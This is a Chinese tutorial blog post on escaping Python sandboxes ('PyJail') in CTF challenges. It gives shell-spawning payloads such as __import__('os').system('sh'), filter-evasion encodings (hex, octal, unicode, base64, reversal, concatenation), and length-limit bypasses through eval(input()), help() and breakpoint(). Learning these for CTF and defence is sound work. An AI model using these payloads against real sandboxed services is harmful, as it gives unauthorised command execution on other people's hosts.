当前位置: 首页 > news >正文

MICS:PythonJail沙箱逃逸(持续更新中)

        沙箱是一种防护机制,是用来运行不受信任的代码,通常是用户上传的代码,但这些代码可能是恶意代码,而沙箱就是防止恶意代码运行的机制。所谓沙箱逃逸,就是利用相关操作绕过沙箱防护,从而获得目标主机的文件信息内容等。

        某些沙箱上传代码的入口只能通过ncat或nc访问,ncat命令可以去下载,也可以通过下载Nmap自带。

        nc命令Windows下载地址:netcat 1.11 for Win32/Win64

        下载完成后,将nc.ext放到 C:\Windows\System32下便可以使用。

格式:

ncat ip地址/DNS 端口号

 例:

ncat 127.0.0.1 55375

1、系统命令执行

模块引入

        Python常见的执行系统命令的模块库有os、subprocess等,但这些模块需要引入才可以使用。以下是一些引入的方式:

#动态引入,system函数用以执行系统命令(sh是获取shell)
__import__('os').system('sh')
#文件读取引入,因为import的原理就是执行一遍导入的库
with open("d:\\anaconda\\lib\\os.py",'r') as f: exec(f.read());system('ls')

        第二种方法,需要获取模块的py文件路径,其可以通过help()函数获取。,输入要获取的模块名称,就可以在控制台查看到路径。

exec 和 eval 函数

exec可以执行多个Python 语句,而exal可以执行单个python语句或单个表达式。

eval('__import__("os").system("dir")')exec('__import__("os").system("dir")')

 通过以上代码,可以执行系统代码,但有时候常常会被禁止。

2、字符匹配绕过

        对于字符串匹配绕过的处理方法有很多种,如chr函数、8进制绕过、拼接、16进制绕过、逆序等等。注意:chr函数返回值直接是字符串,不需要单引号。

import base64
print(chr(97))#输出a
# 将数字转换成ASCII字符
print("X19idWlsdGluc19f".decode('base64'))
# 3.x移除了
print('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')
# 16进制绕过
print(u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f')
# unicode字符绕过
print('__buil'+'tins__')
# 拼接
print('__builtins__'[::-1])
# 逆序
print('\137\137\142\165\151\154\164\151\156\163\137\137')
# 八进制

3、数字匹配绕过

        有时候数字被过滤禁止使用,可以通过ord()函数通过ASCII码转换成数字进行输出,达到想要的结果,同时也可以通过int(True/False)函数来获得0和1,还可以用len()函数通过获得字符串的长度来获得数字。

例:

print(ord('a'))
print(len('sssss'))
print(int(True)+int(True))

4、长度限制绕过

        对于Jail进行长度限制,应对的方法有eval(input())help()函数,breakpoint()函数等

eval(input()) 

        因为过滤的是源代码内部的input(),所以我们可以重开一个input(),这样就能绕过所以过滤规则。

案例:直接通过eval(input())获得shell。 

help()

        使用help函数需要输出的内容输出不完全,如果nc命令输出的内容是完全的则这个命令无法对长度进行绕过。类似于以下这种没有输出全部内容,可以通过!+ 命令执行Linux命令。

例如:通过以下输入方式输入。

breakpoint()

        pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

        在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

 

参考资料:

python沙箱逃逸总结_def check(code): for b in blacklist: if b in code:-CSDN博客

CTF Pyjail 沙箱逃逸绕过合集 - 先知社区 (aliyun.com)

Jail 【Python沙箱逃逸问题合集】 - Kicky_Mu - 博客园 (cnblogs.com)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 初识C#(二)- 流程控制
  • 模拟自然的本质:与IBM量子计算研究的问答
  • Redis存储原理
  • 3、等保1.0 与 2.0 的区别
  • Mac强制停止应用
  • 数据结构总结
  • 学习记录:js算法(四十一): 基于时间的键值存储
  • Qt --- 常用控件的介绍 --- 其他控件
  • Vscode Run Code Py中文乱码问题
  • 市面第一款 C++ 版本的U盘装机软件(即将上线)
  • TCP: Textual-based Class-aware Prompt tuning for Visual-Language Model
  • 【java面经】Redis速记
  • 云原生链路观测平台 openobserve + fluent-bit,日志收集
  • C++之Person类中调用Date类
  • Pygame中Sprite实现逃亡游戏2
  • 2017-09-12 前端日报
  • Git 使用集
  • JWT究竟是什么呢?
  • nginx 负载服务器优化
  • open-falcon 开发笔记(一):从零开始搭建虚拟服务器和监测环境
  • PHP那些事儿
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • SwizzleMethod 黑魔法
  • 对象管理器(defineProperty)学习笔记
  • 分享几个不错的工具
  • 使用API自动生成工具优化前端工作流
  • 微信支付JSAPI,实测!终极方案
  • 线上 python http server profile 实践
  • 想使用 MongoDB ,你应该了解这8个方面!
  • 再次简单明了总结flex布局,一看就懂...
  • kubernetes资源对象--ingress
  • 直播平台建设千万不要忘记流媒体服务器的存在 ...
  • ​软考-高级-系统架构设计师教程(清华第2版)【第20章 系统架构设计师论文写作要点(P717~728)-思维导图】​
  • # linux 中使用 visudo 命令,怎么保存退出?
  • #如何使用 Qt 5.6 在 Android 上启用 NFC
  • #在线报价接单​再坚持一下 明天是真的周六.出现货 实单来谈
  • (cljs/run-at (JSVM. :browser) 搭建刚好可用的开发环境!)
  • (C语言)字符分类函数
  • (done) 两个矩阵 “相似” 是什么意思?
  • (done) 声音信号处理基础知识(2) (重点知识:pitch)(Sound Waveforms)
  • (Spark3.2.0)Spark SQL 初探: 使用大数据分析2000万KF数据
  • (附表设计)不是我吹!超级全面的权限系统设计方案面世了
  • (附源码)springboot社区居家养老互助服务管理平台 毕业设计 062027
  • (几何:六边形面积)编写程序,提示用户输入六边形的边长,然后显示它的面积。
  • (每日一问)操作系统:常见的 Linux 指令详解
  • (三)Kafka 监控之 Streams 监控(Streams Monitoring)和其他
  • (十六)一篇文章学会Java的常用API
  • (一)Neo4j下载安装以及初次使用
  • (转)Oracle存储过程编写经验和优化措施
  • .net core 外观者设计模式 实现,多种支付选择
  • .net dataexcel 脚本公式 函数源码
  • .net framework 4.0中如何 输出 form 的name属性。
  • .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法
  • .NET 程序如何获取图片的宽高(框架自带多种方法的不同性能)
  • .NET 读取 JSON格式的数据